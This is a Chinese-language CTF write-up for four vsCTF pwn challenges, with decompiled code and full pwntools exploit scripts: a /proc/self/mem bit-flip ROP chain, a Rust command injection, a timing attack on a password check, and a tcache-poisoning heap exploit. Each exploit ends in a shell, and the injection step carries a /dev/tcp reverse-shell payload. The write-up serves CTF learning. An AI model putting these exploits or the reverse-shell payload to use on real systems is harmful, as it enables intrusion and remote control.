nyyyddddn

vsctf_pwn

2024/06/19

题目附件https://github.com/nyyyddddn/ctf/tree/main/vsctf_pwn

pwn

cosmic-ray-v3

程序的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rax

setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
cosmic_ray();
v3 = sys_exit(0);
return 0;
}

__int64 cosmic_ray()
{
__off_t offset; // [rsp+8h] [rbp-28h] BYREF
char v2; // [rsp+12h] [rbp-1Eh] BYREF
char buf; // [rsp+13h] [rbp-1Dh] BYREF
unsigned int v4; // [rsp+14h] [rbp-1Ch] BYREF
__int64 v5; // [rsp+18h] [rbp-18h]
__int64 v6; // [rsp+20h] [rbp-10h]
int fd; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]

puts("Enter an address to send a cosmic ray through:");
__isoc99_scanf("0x%lx", &offset);
getchar();
putchar(10);
fd = open("/proc/self/mem", 2);
lseek(fd, offset, 0);
read(fd, &buf, 1uLL);
v6 = byte_to_binary((unsigned int)buf);
puts("|0|1|2|3|4|5|6|7|");
puts("-----------------");
putchar(124);
for ( i = 0; i <= 7; ++i )
printf("%d|", (unsigned int)*(char *)(i + v6));
putchar(10);
putchar(10);
puts("Enter the bit position to flip:");
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 >= 8 )
exit(1);
v5 = flip_bit(v6, v4);
v2 = binary_to_byte(v5);
putchar(10);
printf("Bit succesfully flipped! New value is %d\n\n", (unsigned int)v2);
lseek(fd, offset, 0);
write(fd, &v2, 1uLL);
return 0LL;
}

这里很神奇的地方是cosmic_ray其实能翻转没有写权限段的数据,通过/proc/self/mem linux中的伪文件系统实现的

然后程序中有一个很奇怪的地方,这个exit是通过内联汇编实现的exit,手工fuzz了好久,发现翻转 0xb8可以将 mov eax,0x3c 变成 mov edx,0x3c,也就是syscall read,刚刚好能溢出,覆盖返回地址六个字节,main函数的返回地址是libc_start_main上的地址,刚刚好是六个字节

这时候想到的做法是,先翻转 0xb8回到main后,再将syscall read的rdx改大,这样就可以打rop了,高版本glibc csu函数变成动态链接,所以没有好用的修改寄存器的gadget,但是可以通过cosmic_ray 去写gadget,只需要写一个pop rdi ret的gadget,打ret2libc就好了

1
2
3
4
5
6
7
8
9
.text:00000000004015E0 E8 E9 FD FF FF                call    cosmic_ray
.text:00000000004015E0
.text:00000000004015E5 B8 3C 00 00 00 mov eax, 3Ch ; '<'
.text:00000000004015EA 48 31 FF xor rdi, rdi ; error_code
.text:00000000004015ED 0F 05 syscall ; LINUX - sys_exit
.text:00000000004015EF B8 00 00 00 00 mov eax, 0
.text:00000000004015F4 5D pop rbp
.text:00000000004015F5 C3 retn
.text:00000000004015F5 ; } // starts at 4015AB

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "vsc.tf"
PORT = 7000

elf = context.binary = ELF('./cosmicrayv3')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

addr = "0x4015E5"
main = 0x4015AF
bss = 0x3fe000

# .text:00000000004015E5 B8 3C 00 00 00 mov eax, 3Ch ; '<'
# .text:00000000004015EA 48 31 FF xor rdi, rdi ; error_code
# .text:00000000004015ED 0F 05 syscall


sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","6") # stackover flow

# .text:00000000004015AF 55 push rbp
# .text:00000000004015B0 48 89 E5 mov rbp, rsp
# .text:00000000004015B3 48 8B 05 66 2A 00 00 mov rax, cs:stdout@GLIBC_2_2_5
# .text:00000000004015BA BE 00 00 00 00 mov esi, 0 ; buf
# .text:00000000004015BF 48 89 C7 mov rdi, rax ; stream
# .text:00000000004015C2 E8 49 FB FF FF call _setbuf

payload = b'a' * (0x3c - 0x6 - 0x8) + p64(bss + 0x100) + p32(0x4015B0) + b'\x00\x00'
s(payload)


addr = "0x4015E7"
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","2") # modify size
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(0x4015B0)
s(payload)

# print(disasm(asm("pop rdi; ret")))
# 0: 5f pop rdi 01011111
# 1: c3 ret 11000011

# 0x40100c - 0x40100d 0x2f(00101111) 0x00(00000000)
# 1 2 3
# 0 1 6 7


addr = "0x40100c"
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","1")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(0x4015B0)
s(payload)


sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","2")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","3")
s(payload)

addr = "0x40100d"

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","0")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","1")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","6")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
s(payload)


pop_rdi_ret = 0x000000000040100c
getchar_got = elf.got['getchar']
puts_plt = elf.plt['puts']


addr = "0x3fe100" # useless
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(pop_rdi_ret) + p64(getchar_got) + p64(puts_plt) + p64(0x00000000004015AF)
s(payload)

rl()
rl()
rl()
r(1)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7c5725c87ae0 - 0x7c5725c00000)
success(f"libc_base ->{hex(libc_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x000000000040101a

addr = "0x3fe100" # useless
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
# g(p)
s(payload)




p.interactive()

vs-gateway

程序的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
use std::io::{self, Write};
use std::process::{Command, self};
use std::fs;
use md5;
use rand::{self, Rng};

pub static mut ESSID: String = String::new();
static BSSID: &str = "94:4e:6f:d7:bf:05";
static mut BAND: String = String::new();
static mut CHANNEL: i32 = 0;
static mut WIFI_PASSWORD: String = String::new();
static mut ID: u64 = 0;

fn check_password(password: String) -> bool{
let digest = md5::compute(password.trim());
if format!("{:x}", digest) == "e10adc3949ba59abbe56e057f20f883e" {
true
}
else{
false
}
}

fn auth() -> bool{
let mut username = String::new();
let mut password = String::new();

print!("Username: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut username).expect("Cannot read username!");

print!("Password: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut password).expect("Cannot read username!");

if username.trim() == "admin" && check_password(password){
println!("Access granted!");
true
}
else{
println!("Access forbidden!");
false
}
}

fn save_properties_to_file(){
unsafe{
let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");
Command::new("/bin/sh")
.arg("-c")
.arg(cmd)
.output()
.expect("Failed to execute command");
}
}

fn show_properties(){
unsafe{
println!("--- PROPERTIES -----------------------------");
println!("Essid\t\t{ESSID}");
println!("Bssid\t\t{BSSID}");
println!("Band\t\t{BAND}GHz");
println!("Channel\t\t{CHANNEL}");
println!("Password\t{WIFI_PASSWORD}\n");
}
}

fn change_essid(){
let mut input: String = String::new();
let mut done = false;

unsafe{
println!("Current essid: {ESSID}");
while !done {
done = true;
print!("New essid: ");
io::stdout().flush().unwrap();
input.clear();
io::stdin().read_line(&mut input).expect("Failed to readline");
for c in input.trim().chars(){
if !"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ".contains(c){
done = false;
break
}
}
}
ESSID = input.trim().to_owned();
println!("Done!");
}
save_properties_to_file();
}

fn change_wifi_band(){
unsafe{
println!("Current band: {BAND}GHz");
if BAND=="2.4"{
BAND = String::from("5");
CHANNEL = 100;
}
else{
BAND = String::from("2.4");
CHANNEL = 6;
}
println!("New band: {BAND}GHz");
}
save_properties_to_file();
}

fn change_channel(){
let mut input: String = String::new();
let mut channel_tmp: i32;

unsafe{
print!("Current band: {BAND}GHz ");
if BAND == "2.4"{
println!("(from 1 to 11)")
}
else{
println!("(from 36 to 165)")
}
println!("Current channel: {CHANNEL}");
loop {
print!("New channel: ");
io::stdout().flush().unwrap();
input.clear();
io::stdin().read_line(&mut input).expect("Failed to readline");
channel_tmp = input.trim().parse().expect("Invalid number");
if BAND == "2.4" && (1..12).contains(&channel_tmp){
CHANNEL = channel_tmp;
break;
}
else if BAND == "5" && (36..166).contains(&channel_tmp){
CHANNEL = channel_tmp;
break;
}
}
println!("Done!\n");
}
save_properties_to_file();
}

fn change_wifi_password(){
let mut input: String = String::new();

unsafe{
println!("Current password: {WIFI_PASSWORD}");
print!("New password: ");
io::stdout().flush().unwrap();
input.clear();
io::stdin().read_line(&mut input).expect("Failed to readline");
WIFI_PASSWORD = input.trim().to_owned();
println!("Done!");
}
save_properties_to_file();
}

fn menu(){
println!("--- MENU ---------------------");
println!("1. Show properties");
println!("2. Change essid");
println!("3. Change wifi band");
println!("4. Change channel");
println!("5. Change wifi password");
println!("6. Exit");
print!("> ");
io::stdout().flush().unwrap();
}

fn load_data(){
unsafe{
ID = rand::thread_rng().gen_range(1..0xffffffffffffffff);

let cmd = format!("echo \"View Source Guest\\n2.4\\n6\\n123456789\" > /tmp/{ID}.conf");
Command::new("/bin/sh")
.arg("-c")
.arg(cmd)
.output()
.expect("Failed to execute command");

let datas = fs::read_to_string(format!("/tmp/{ID}.conf")).expect("Cannot load default data");
let mut parts = datas.split("\n");
ESSID = parts.nth(0).expect("Error when parsing essid").to_owned();
BAND = parts.nth(0).expect("Error when parsing band").to_owned();
CHANNEL = parts.nth(0).expect("Error when parsing channel").to_owned().parse().unwrap();
WIFI_PASSWORD = parts.nth(0).expect("Error when parsing wifi password").to_owned();
}
}

fn run(){
let mut choice;
let mut input = String::new();

load_data();
show_properties();
loop {
menu();
input.clear();
io::stdin().read_line(&mut input).expect("Cannot read input!");
choice = match input.trim().parse() {
Ok(num) => num,
_ => 0
};
match choice {
1 => show_properties(),
2 => change_essid(),
3 => change_wifi_band(),
4 => change_channel(),
5 => change_wifi_password(),
6 => {
unsafe{
fs::remove_file(format!("/tmp/{ID}.conf")).unwrap();
}
break
},
_ => {
println!("Invalid choice!");
},
}
}
}

fn main() {
println!("----------------------------");
println!("| VS Gateway |");
println!("----------------------------");

if auth(){
run();
}
process::exit(0);
}

程序是rust语言写的不太熟悉rust,不过程序逻辑很简单,很快就找到漏洞了,每次更新Gateway状态的时候都会调用save_properties_to_file() 这个函数,这个函数的功能是使用shell中 echo的方式将Gateway的状态写到配置文件中,存在一个命令注入,其中修改wifi密码选项那,没有做任何检查,只需要截断一下命令就好了 也就是构造 ;command;# 这样的表达式

1
2
3
4
5
6
7
8
9
10
fn save_properties_to_file(){
unsafe{
let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");
Command::new("/bin/sh")
.arg("-c")
.arg(cmd)
.output()
.expect("Failed to execute command");
}
}

不过很奇怪的地方是,执行命令后没有回显,尝试重定向fd 还有 /dev/stdout这样的伪文件系统去输出结果,都不太行,后面想到可以反弹shell

1
password123";/bin/bash -c "/bin/bash -i >& /dev/tcp/127.0.0.1/6666 0>&1";#

shs

程序的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-1Ch]
char s[11]; // [rsp+Dh] [rbp-13h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Enter the password:");
fgets(s, 11, stdin);
if ( (unsigned int)strlen(s) != 10 )
{
puts("Wrong password!");
exit(0);
}
for ( i = 0; i <= 9; ++i )
{
if ( (unsigned __int8)getPassChar((unsigned int)i) != s[i] )
{
puts("Wrong password!");
exit(0);
}
}
puts("Welcome, admin!");
system("/bin/sh");
return v7 - __readfsqword(0x28u);
}

__int64 __fastcall getPassChar(unsigned int a1)
{
const char *v1; // rsi
const char *v2; // rax
unsigned __int8 v4; // [rsp+1Ah] [rbp-36h]
__int64 v5; // [rsp+20h] [rbp-30h] BYREF
__int64 v6; // [rsp+28h] [rbp-28h]
char s[10]; // [rsp+33h] [rbp-1Dh] BYREF
char v8[11]; // [rsp+3Dh] [rbp-13h] BYREF
unsigned __int64 v9; // [rsp+48h] [rbp-8h]

v9 = __readfsqword(0x28u);
v6 = archive_read_new();
archive_read_support_filter_all(v6);
archive_read_support_format_all(v6);
if ( (unsigned int)archive_read_open_filename(v6, "password.txt.tar.gz", 10240LL) )
{
puts("Failed to open archive");
exit(1);
}
snprintf(s, 0xAuLL, "%d.txt", a1);
while ( !(unsigned int)archive_read_next_header(v6, &v5) )
{
v1 = (const char *)archive_entry_pathname(v5);
if ( !strcmp("password.txt", v1) )
{
if ( archive_read_data(v6, v8, 10LL) != 10 )
{
puts("Failed to read password");
exit(1);
}
v4 = v8[a1];
break;
}
v2 = (const char *)archive_entry_pathname(v5);
if ( !strcmp(s, v2) )
{
if ( archive_read_data(v6, v8, 1LL) != 1 )
{
puts("Failed to read password");
exit(1);
}
v4 = v8[0];
break;
}
}
if ( !v4 )
{
puts("Failed to find password");
exit(1);
}
if ( (unsigned int)archive_read_free(v6) )
{
puts("Failed to free archive");
exit(1);
}
usleep(0x7A120u);
return v4;
}

远程环境的password.txt.tar.gz 和附件中的password.txt.tar.gz 不相同,直接爆破password的话是一个指数问题,有一个sleep的逻辑usleep(0x7A120u); 可以通过判断sleep的时间来判断第i位的内容是否是正确的password

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from string import printable
import time


context.log_level='error'

IP = "vsc.tf"
PORT = 7004

password = list('a' * 10)

idx = 0
wait_time = 0.5
tolerance_time = 0.03

while idx < 10:
for c in printable:
try:
print(f'{"".join(password)[:idx + 1]} |current character ->{c}')

p = process("./shs")
# p = remote(IP,PORT)
p.recvuntil("password:")
password[idx] = c
start_time = time.time()
p.sendline(''.join(password).encode())
p.recvuntil(b'W')
end_time = time.time()

p.close()
remaining_time = (end_time - start_time - wait_time)

if remaining_time > tolerance_time:
idx += 1
wait_time = 0.5 * (idx + 1)
break

except:
pass

print("".join(password)[:idx + 1])

Domain Expansion

程序的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
while ( 2 )
{
while ( 1 )
{
menu();
printf("Enter your choice: ");
__isoc99_scanf("%d", &v4);
if ( v4 <= 5 )
break;
if ( v4 == 260 )
{
if ( domain_expanded )
puts("You cannot use this ability again!");
else
domain_expansion();
}
else
{
LABEL_15:
puts("Invalid choice");
}
}
if ( v4 <= 0 )
goto LABEL_15;
switch ( v4 )
{
case 1:
create();
continue;
case 2:
edit();
continue;
case 3:
print();
continue;
case 4:
delete();
continue;
case 5:
return 0;
default:
goto LABEL_15;
}
}
}

unsigned __int64 domain_expansion()
{
unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("DOMAIN EXPANSION");
printf("Enter an index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
{
printf("Expanded size: ");
__isoc99_scanf("%lu", &v2);
getchar();
*(_QWORD *)(*((_QWORD *)&chunks + 2 * (int)v1) - 8LL) = v2;
qword_4068[2 * (int)v1] = v2;
domain_expanded = 1;
}
else
{
puts("Invalid index");
}
return v3 - __readfsqword(0x28u);
}

unsigned __int64 create()
{
unsigned int v0; // ebx
unsigned int idx; // [rsp+Ch] [rbp-24h] BYREF
size_t size; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]

v4 = __readfsqword(0x28u);
printf("Enter an index: ");
__isoc99_scanf("%d", &idx);
getchar();
if ( idx > 0xF || *((_QWORD *)&chunks + 2 * (int)idx) )
{
puts("Invalid index");
}
else
{
printf("Enter a size: ");
__isoc99_scanf("%lu", &size);
getchar();
if ( size <= 0x1000 )
{
v0 = idx;
*((_QWORD *)&chunks + 2 * (int)v0) = malloc(size);
qword_4068[2 * (int)idx] = size;
printf("Chunk created at index %d\n", idx);
}
else
{
puts("Too big!");
}
}
return v4 - __readfsqword(0x28u);
}

unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Enter an index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
{
printf("Enter data: ");
readline(*((_QWORD *)&chunks + 2 * (int)v1), qword_4068[2 * (int)v1]);
}
else
{
puts("Invalid index");
}
return v2 - __readfsqword(0x28u);
}

unsigned __int64 print()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Enter an index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
{
printf("Data: ");
puts(*((const char **)&chunks + 2 * (int)v1));
}
else
{
puts("Invalid index");
}
return v2 - __readfsqword(0x28u);
}

unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Enter an index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
{
free(*((void **)&chunks + 2 * (int)v1));
*((_QWORD *)&chunks + 2 * (int)v1) = 0LL;
qword_4068[2 * (int)v1] = 0LL;
printf("Chunk deleted at index %d\n", v1);
}
else
{
puts("Invalid index");
}
return v2 - __readfsqword(0x28u);
}

glibc 2.35,domain_expanded中可以构造一个堆叠,通过tcache poison,写 libc got中strlen为system 然后去puts一个内容为binsh的堆就可以getshell了,这条利用链第一次见。

puts 一进去后会call strlen,同时call strlen的时候 rdi寄存器没有更新,然后libc.so的RELRO保护是Partial RELRO,got表还是可以写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000080E50                               ; __int64 __fastcall puts(__int64)
.text:0000000000080E50 public puts ; weak
.text:0000000000080E50 puts proc near ; DATA XREF: LOAD:000000000000D0C8↑o
.text:0000000000080E50 ; LOAD:000000000000D1A0↑o
.text:0000000000080E50
.text:0000000000080E50 var_2C= dword ptr -2Ch
.text:0000000000080E50
.text:0000000000080E50 ; __unwind { // sub_2A160
.text:0000000000080E50 F3 0F 1E FA endbr64 ; Alternative name is '_IO_puts'
.text:0000000000080E54 41 56 push r14
.text:0000000000080E56 41 55 push r13
.text:0000000000080E58 41 54 push r12
.text:0000000000080E5A 49 89 FC mov r12, rdi
.text:0000000000080E5D 55 push rbp
.text:0000000000080E5E 53 push rbx
.text:0000000000080E5F 48 83 EC 10 sub rsp, 10h
.text:0000000000080E63 E8 28 76 FA FF call j_strlen

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "vsc.tf"
PORT = 7001

elf = context.binary = ELF('./domainexpansion')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def create(idx, size):
sla(b'Enter your choice: ', b'1')
sla(b'Enter an index: ', str(idx).encode())
sla(b'Enter a size: ', str(size).encode())

def delete(idx):
sla(b'Enter your choice: ', b'4')
sla(b'Enter an index: ', str(idx).encode())

def edit(idx, data):
sla(b'Enter your choice: ', b'2')
sla(b'Enter an index: ', str(idx).encode())
sla(b'Enter data: ', data)

def show(idx):
sla(b'Enter your choice: ', b'3')
sla(b'Enter an index: ', str(idx).encode())

def expand(idx, size):
sla(b'Enter your choice: ', b'260')
sla(b'Enter an index: ', str(idx).encode())
sla(b'Expanded size: ', str(size).encode())

def show_chunklist():
gdb_comm = '''
x /100gx $rebase(0x4060)
bins
'''
gdb.attach(p,gdb_comm)



create(0,0x40)
create(1,0x80)

for i in range(2, 2 + 7):
create(i,0x80)

for i in range(2, 2 + 7):
delete(i) # refill tcache
delete(1) # unsorted bin

expand(0,0x40 + 0x8 + 0x80 + 0x8 + 0x1)
edit(0,b'a' * 0x48 + b'a' * 8)

show(0)
ru(b'a' * 0x48 + b'a' * 8)
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x731437c1ace0 - 0x731437a00000)
success(f"libc_base ->{hex(libc_base)}")

edit(0,b'\x00' * 0x48 + p64(0x91)) # reset

libc_strlen_got = libc_base + 0x21a098
system = libc_base + libc.sym['system']

for i in range(2, 2 + 7):
create(i,0x80)
create(1,0x80)

delete(1)
edit(0,b'a' * 0x48 + b'a' * 8)

show(0)
ru(b'a' * 0x48 + b'a' * 8)
heap_addr = u64(r(5).ljust(8,b'\x00'))
heap_base = heap_addr << 12
success(hex(heap_base))

edit(0,b'\x00' * 0x48 + p64(0x91) + p64(0) + p64(0)) # reset
create(1,0x80)

delete(8)
delete(1)

edit(0,b'\x00' * 0x48 + p64(0x91) + p64((libc_strlen_got - 0x18) ^ (heap_base >> 12)))

create(1,0x80)
create(9,0x80)

edit(1,b'/bin/sh\x00')
edit(9,b'\x00' * 0x18 + p64(system))

# gdb_comm = '''
# b puts
# c
# '''

# gdb.attach(p,gdb_comm)
show(1)

p.interactive()
CATALOG
  1. 1. pwn
    1. 1.1. cosmic-ray-v3
    2. 1.2. vs-gateway
    3. 1.3. shs
    4. 1.4. Domain Expansion